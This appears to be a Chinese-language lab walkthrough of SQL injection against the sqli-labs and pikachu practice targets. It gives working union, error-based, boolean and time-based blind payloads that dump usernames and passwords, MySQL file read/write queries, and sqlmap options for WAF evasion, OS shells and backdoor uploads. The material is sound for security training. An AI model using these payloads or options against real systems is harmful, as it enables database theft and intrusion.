1. 回顯注入
1.1 基本操作
- 嘗試有無注入點
- 確定回顯點
- 確定查詢表的字段數量
- 確定當前數據庫的操作權限:user()
- 查出數據庫版本號:version()
- 高版本(>= 5.0):查詢information_schema數據庫
- 低版本(< 5.0)
- 查出數據庫名:database()
- 開始查詢各種信息
1.2 基於報錯的注入
1.2.1 以Basic Challenges Less-2為例
a.嘗試有無注入點
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-2/?id=1%20dhwudhwu
-
界面顯示:
-
分析:顯示出sql語句報錯,説明後端將上面輸入的有問題sql語句拿去執行了。存在sql注入漏洞。
b.確定查詢的表中有多少的字段
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-2/?id=1%20order%20by%204%20--+
-
界面顯示:
-
分析:當輸入
order by為4時,顯示出報錯,説明目前查詢的這個表只有3個字段。
c.確定目前的查詢語句查詢了多少字段與確定回顯點
-
查詢了多少字段
- 輸入:
1. http://192.168.103.130:8088/sqli-labs/Less-2/?id=1%20union%20select%201,2%20--+ 2. http://192.168.103.130:8088/sqli-labs/Less-2/?id=1%20union%20select%201,2,3%20--+- 界面顯示:
- 分析:通過報出的錯誤可以比較明顯的看出
select字段的查詢為3個字段。
-
確定回顯點
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,2,3 --+-
界面顯示:
-
分析:通過將前面的
id=-1,使後面的select語句生效,再通過回顯的效果看出,回顯點為2和3。
d.查詢當前的數據庫版本與數據庫名稱
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,version(),database() --+
-
界面顯示:
-
分析:數據庫名為
security;數據庫版本高於5.0,後續可以查詢information_schema。
e.查詢當前數據庫(security)中擁有的所有表格
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema like 'security' --+
-
界面顯示:
-
分析:通過回顯可以得知
security數據庫中有表emails,referers,uagents,users。
f.現在來查詢users表(看起來這個表裏面藏着重要信息)
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name like 'users' --+
-
界面顯示:
-
分析:security數據庫裏面的users表裏面有三個字段:
id,username,password。
g.開始查詢數據
- 輸入:
1. http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,group_concat(id,0x3a,username,0x3a,password),3 from security.users --+
2. http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,substr(group_concat(id,0x3a,username,0x3a,password),1,20),3 from security.users --+
- 界面顯示:
- 分析:信息都出來!如果信息過多的話可能會顯示不完全,可以使用
View Page Source,也可以使用下面的substr()函數(這個函數會有32位截斷),一段一段獲取信息。
1.2.2 以Basic Challenges Less-3為例
a.嘗試有無注入點
- 輸入:
1. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1%20bfjdhfquhr
2. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1%27
- 界面顯示:
- 分析:胡亂輸入發現沒有發現報錯並不意味着就沒有注入點,可能是字符串類型的輸入。通過報錯顯示後面有
')閉合,因此有注入點。
b.確定查詢的表中有多少的字段
- 輸入:
1. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1%27)%20order%20by%203%20--+
2. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1%27)%20order%20by%204%20--+
- 界面顯示:
- 分析:輸入
4時發生報錯,説明當前表有3個字段。
c.確定目前的查詢語句查詢了多少字段與確定回顯點
-
查詢了多少字段
- 輸入:
1. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1') union select 1,2 --+ 2. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1') union select 1,2,3 --+- 界面顯示:
- 分析:略
-
確定回顯點
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,2,3 --+-
界面顯示:
-
分析:略
d.查詢當前的數據庫版本與數據庫名稱
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,database(),version() --+
-
界面顯示:
-
分析:數據庫名字是
security;數據庫版本是5.5.62-0ubuntu0.14.04.1。
e.查詢當前數據庫(security)中擁有的所有表格
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
-
界面顯示:
-
分析:略
f.現在來查詢users表(看起來這個表裏面藏着重要信息)
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'security' --+
-
界面顯示:
-
分析:略
g.開始查詢數據
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,substr(group_concat(id,0x3a,username,0x3a,password),1,30),3 from security.users --+
-
界面顯示:
-
分析:略
1.2.3 以Basic Challenges Less-4為例
a.嘗試有無注入點
- 輸入:
1. http://192.168.103.130:8088/sqli-labs/Less-4/?id=1sdnfuinfew
2. http://192.168.103.130:8088/sqli-labs/Less-4/?id=1%22
- 界面顯示:
- 分析:這個題目就是上面的Less-3中將
'換成"就可以了,後面的步驟就省略了。
2. 盲注
ascii碼錶:
2.1 基於布爾的盲注 (以Basic Challenges Less-8為例)
a.嘗試有無注入點
- 輸入:
1. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1
2. http://192.168.103.130:8088/sqli-labs/Less-8/?id=-1
- 界面顯示:
- 分析:通過比較頁面的輸出可以發現,當輸入正確的sql語句界面會有"You are in ......",輸入錯誤的sql語句界面就沒有顯示,可以確定有注入點。
b.檢查當前輸入的id是否可能有符號包裹
- 輸入:
1. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1'
2. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1' --+
- 界面顯示:
- 分析:當加入
'後,sql語句報錯/不正確,然後通過再加入--+註釋掉後面得sql語句,sql不再報錯,説明id值有''包裹。
c.確定當前數據庫名的長度
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-8/?id=1' and length(database())=8 --+
-
界面顯示:
-
分析:通過多次嘗試可以得出當前使用的數據庫名字的長度為
8。
d.通過二分法確定當前數據庫的每個字母
- 輸入:
1. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))>64 --+
2. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))>95 --+
- 界面顯示:
- 分析:通過一步步的嘗試可以逐一確定當前使用的數據庫的名字為
security。
e.確定當前數據庫的版本
- 輸入:
http://192.168.103.130:8088/sqli-labs/Less-8/?id=1%27%20and%20substr(version(),1,1)=%275%27%20--+
-
界面顯示:
-
分析:通過一步步的嘗試可以確定當前的數據庫版本高於
5.0,因此後續可以使用information_schema通過二分法來確定這個所有表的名字與每個表裏面的字段名。後面步驟就省略了。
2.2 基於時間的盲注
2.2.1 以Basic Challenges Less-10為例
a.判斷注入類型
- 輸入:
1. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2' and sleep(5) --+
2. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(5) --+
- 界面顯示:
- 沒有延遲
- 延遲了5秒
- 分析:不管輸入是否正確,下面都顯示"You are in ...... ",使用
"比使用'界面的返回時間更長,説明有注入點並且是"包裹。
b.確定當前數據庫名的長度
- 輸入:
1. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(length(database())=2,5,0)) --+
2. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(length(database())=8,5,0)) --+
- 界面顯示:
- 基本沒感覺到延遲
- 明顯感覺到延遲了,大約是5秒
- 分析:當前使用的數據庫的名字字符長度是
8。
c.通過二分法確定當前數據庫名的每一個字母
- 輸入:
1. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(ascii(substr(database(),1,1))<64,5,0)) --+
2. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(ascii(substr(database(),1,1))>64,5,0)) --+
3. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(ascii(substr(database(),1,1))=115,5,0)) --+
- 界面顯示:
- 基本沒感覺到延遲
- 明顯感覺到延遲了,大約是5秒
- 明顯感覺到延遲了,大約是5秒
- 分析:通過
二分法一步步的畢竟數據庫名首字母的ascii碼,最終得知其為s。接着再一個個嘗試,然後就知道了整個數據庫名為security。
2.2.2 以Basic Challenges Less-15為例
a.判斷注入類型
- 輸入:
POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-15/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=123&passwd=456&submit=Submit
POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-15/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=admin' and sleep(5)#&passwd=456&submit=Submit
POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-15/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=admin" and sleep(5)#&passwd=456&submit=Submit
- 界面顯示:
- 感覺到明顯的延遲,大約是5秒
- 沒感覺到明顯延遲
- 分析:這是post提交,通過修改
uname可以使用基於時間的盲注。
b.確定當前數據庫名的長度
- 輸入:
POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-15/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=admin' and sleep(if(length(database())=8,5,0))#&passwd=456&submit=Submit
-
界面顯示:
可以明顯感覺到延遲,大約5秒。
-
分析:通過嘗試可以得知數據庫長度為
8。
2.3 基於函數報錯的盲注
2.3.1 基礎知識
主要是使用extractvalue()與updatexml()這兩個函數。
extractvalue(a,b)- a: 文件名,直接填1
- b: 需要輸入xpath格式,填需要執行的sql代碼
updatexml(c,d,e)- c: 文件名,直接填1
- d: 需要輸入xpath格式,填需要執行的sql代碼
- e: 需要更改的數值,直接填1
2.3.2 案例 (以Basic Challenges Less-11為例)
使用updatexml()函數
- 輸入:
POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-11/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) %23&passwd=1&submit=Submit
-
界面顯示:
-
分析:通過
updatexml()函數報錯可以得知當前的數據庫名。後續略。
使用extractvalue()函數
- 輸入:
POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-11/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=1' or extractvalue(1,concat(0x7e,(select database()),0x7e)) %23&passwd=1&submit=Submit
-
界面顯示:
-
分析:通過
extractvalue()函數報錯可以得知當前的數據庫名。後續略。
3. 搜索型注入 (以pikachu靶場為例)
a.發現注入漏洞
- 輸入:
123'
-
界面顯示:
-
分析:可以明顯的看出後面有
%',所有以'包裹。
b.得到目前表中的字段數量
- 輸入:
1. 123' order by 4 #
2. 123' order by 3 #
- 界面顯示:
- 沒有報錯
- 分析:可以明顯看出目前這個表有3個字段。
c.確定回顯點
- 輸入:
123' union select 1,2,3 #
-
界面顯示:
-
分析:三個回顯點
1、2、3都是。
d.查詢當前數據庫名、版本號與用户
- 輸入:
123' union select user(),database(),version() #
-
界面顯示:
-
分析:信息已經很明顯了。
e.查詢目前數據庫中擁有的表
- 輸入:
123' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu' #
-
界面顯示:
-
分析:有表格
httpinfo,member,message,users,xssblind。
f.查詢表users中的字段
- 輸入:
123' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
-
界面顯示:
-
分析:
users表裏面有字段id,username,password,level。
g.查詢users表裏面的一些信息
- 輸入:
1. 123' union select 1,group_concat(id,0x3a,username,0x3a,password),3 from pikachu.users #
2. 123' union select 1,substr(group_concat(id,0x3a,username,0x3a,password),1,30),3 from pikachu.users #
- 界面顯示:
- 分析:如果顯示的不完全可以選擇使用
substr()函數。
4. 加解密型注入 (以Basic Challenges Less-21為例)
a.在Cookie中加入uname
base64加密:123' --> MTIzJw==
- 輸入:
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; uname=MTIzJw==
-
界面顯示:
-
分析:從報錯界面可以很清楚的得知,
uname參數有')包裹。
b.得到當前的數據庫名、版本號、用户
base64加密:123') union select database(),version(),user() # --> MTIzJykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksdmVyc2lvbigpLHVzZXIoKSAj
- 輸入:
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; uname=MTIzJykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksdmVyc2lvbigpLHVzZXIoKSAj
-
界面顯示:
-
分析:界面中已經顯示的很清楚了。後續操作跟前面的差不多,只不過多一次base64加密。
5. MySQL文件讀寫
在 MySQL 中,文件讀寫並不是像普通編程語言那樣隨意操作,而是受限於嚴格的安全權限和特定的 SQL 語句。
通常我們討論 MySQL 文件讀寫,指的就是這兩個操作:讀取文件內容到數據庫(Load Data / Load_File)和將數據庫結果寫入文件(Into Outfile)。
1. 核心前提:secure_file_priv
在開始之前,你必須檢查 MySQL 的安全設置。為了防止黑客通過 SQL 注入竊取服務器文件,MySQL 使用 secure_file_priv 參數限制讀寫目錄。
- 查看當前限制:
SHOW VARIABLES LIKE "secure_file_priv";
- 結果含義:
NULL:禁止所有讀寫操作。/var/lib/mysql-files/:只能在該目錄下進行讀寫。空值:可以在任意位置讀寫(極度不安全)。
2. 讀取文件(Read)
A. 使用 LOAD DATA (最常用)
用於將結構化的文本文件(如 CSV)批量導入到表中。這是性能最高的數據導入方式。
LOAD DATA INFILE '/var/lib/mysql-files/data.csv'
INTO TABLE users
FIELDS TERMINATED BY ','
LINES TERMINATED BY '\n'
IGNORE 1 LINES; -- 忽略表頭
B. 使用 LOAD_FILE() 函數
用於讀取單個文件的內容,並將其作為字符串返回。常用於讀取配置文件、密鑰或圖片(存入 BLOB)。
SELECT LOAD_FILE('/var/lib/mysql-files/config.txt') AS file_content;
3. 寫入文件(Write)
使用 SELECT ... INTO OUTFILE
將查詢結果直接保存到服務器本地的文件中。
SELECT id, username, email
FROM users
INTO OUTFILE '/var/lib/mysql-files/backup_users.txt'
FIELDS TERMINATED BY ','
OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n';
注意:
- MySQL 不會覆蓋已存在的文件。如果文件已存在,報錯。
- 生成的文件屬於運行 MySQL 服務的用户(通常是
mysql用户),普通用户可能沒有權限直接刪除。
6.sqlmap的使用
- 獲取目標
-u: 用於url方式提交,指定url-r: 用於post方式提交,用於指定post內容-p: 指定需要測試的參數--forms: 可以自定識別查詢form表單
- 查詢
-D: 指定需要查詢的數據庫名-T: 指定需要查詢的表名-C: 指定需要查詢的字段名--dbs: 需要查詢有哪些數據庫--tables: 需要查詢有哪些表--columns: 需要查詢有哪些字段
- 枚舉與脱褲
--level: 設定查詢等級--risk: 設定查詢等級--dump: 直接下載表中的數據--current-user: 查詢當前用户--current-db: 查詢當前使用數據庫名
- 繞過與偽裝(對抗 WAF/IDS)
tamper: 使用自帶的腳本對 Payload 進行混淆random-agent: 隨機切換 User-Agent,模仿不同瀏覽器,防止被識別為腳本工具proxy: 設置代理,隱藏自己的真實 IPdelay: 設置請求間隔(秒),防止請求太快被服務器封 IP
- 權限提升與系統交互
--os-shell: 如果條件滿足,直接返回一個交互式的系統 shell--file-read / --file-write: 讀取服務器上的敏感文件或上傳後門文件
- 性能與技術微調
--technique: 指定注入技術(B: 布爾盲注, E: 報錯注入, U: 聯合查詢, S: 堆疊注入, T: 時間盲注)--threads: 設置併發線程數(默認為 1,建議調高以加速)--batch: 全自動模式,所有詢問(Y/N)都按默認項執行,適合腳本自動化
硬件及軟件説明:
I.硬件(電腦)
Apple Mac mini M4
II.軟件(vmware虛擬機)
- ubuntu作為靶機
- IP:
192.168.103.130 - arm64
- Ubuntu 24.04.3 LTS
- IP:
- kali作為攻擊機
- IP:
192.168.103.128 - arm64
- Kali GNU/Linux Rolling
- IP:
ubuntu中安裝docker靶場:hominsu/sqli-labs:latest
ubuntu中安裝docker靶場:hominsu/pikachu:latest
# 拉取docker鏡像
sudo docker pull hominsu/sqli-labs
sudo docker pull hominsu/pikachu
# 為鏡像創建容器,並運行
## sqli-labs 端口設為 8088
## pikachu 端口設為 8082
sudo docker run -dt --name sqli-labs -p 8088:80 hominsu/sqli-labs
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu
📌 不一定對,如有錯誤,歡迎指出🙂。